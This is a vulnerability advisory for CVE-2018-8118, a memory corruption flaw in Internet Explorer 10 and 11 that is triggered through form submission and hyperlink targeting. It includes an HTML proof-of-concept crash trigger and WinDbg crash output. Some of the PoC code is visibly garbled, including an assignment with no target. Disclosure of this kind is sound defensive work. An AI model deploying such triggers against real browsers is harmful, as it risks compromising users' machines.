Microsoft Internet Explorer Hyperlink Memory Corruption (CVE-2018-8118)

Apr 30 2018

A memory corruption vulnerability exists in Microsoft Internet Explorer. The corruption happens as a result of the destruction and reuse of an element processed by Internet Explorer. An attacker can use this vulnerability to obtain Remote Code Execution and compromise a victim’s machine.

Date Released: 30/04/2018
CVE: CVE-2018-8118
Author: Scott Bell
Vendor Website:
Affected Software: Internet Explorer 10, Internet Explorer 11

Proof of concept

The following HTML can be used to reproduce the vulnerability

<meta http-equiv="cache-control" content="max-age=0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
<meta http-equiv="pragma" content="no-cache" />

function boom() {
try { form.submit(); } catch(e) { }
try { = "aaaa"; } catch(e) { }
try { form.submit(); } catch(e) { }
<form id="form" target="aaaaa">
<object onerror="boom()" classid="aaaa"></object>
<style onload="boom()">aaa</style>

The following figure shows the Windbg debugger output:

(efc.214): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c7b4ff0 ebx=00000000 ecx=0c842fe4 edx=ffffffff esi=0498b5f0 edi=00aa2ee0 eip=7629fbd1 esp=0498b5a0 ebp=0498b5d4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
7629fbd1 0fb710 movzx edx,word ptr [eax] ds:0023:0c7b4ff0=????
3:061> k
ChildEBP RetAddr
0498b5d4 7629fb88 kernel32!LongCompareString+0xcc
0498b680 75a570f2 kernel32!SortCompareString+0x1bc
0498b6a8 75a5712c KERNELBASE!SortCompareString+0x52
0498b6f4 75d1828d shlwapi!_StrCmpLocaleW+0x1f
0498b710 67005b29 shlwapi!StrCmpW+0x16
0498b770 67004877 MSHTML!SearchChildrenForWindow+0x7c
0498b820 66da7c2e MSHTML!GetTargetWindow+0x57
0498b888 6662bc35 MSHTML!CDoc::FindTargetWindow+0xffe066e8
0498b934 67338aa2 MSHTML!CDoc::FollowHyperlink2+0x343
0498ba20 670eaf95 MSHTML!CFormElement::DoSubmit+0x5ae
0498ba40 619a22ad MSHTML!CFastDOM::CHTMLFormElement::Trampoline_submit+0x35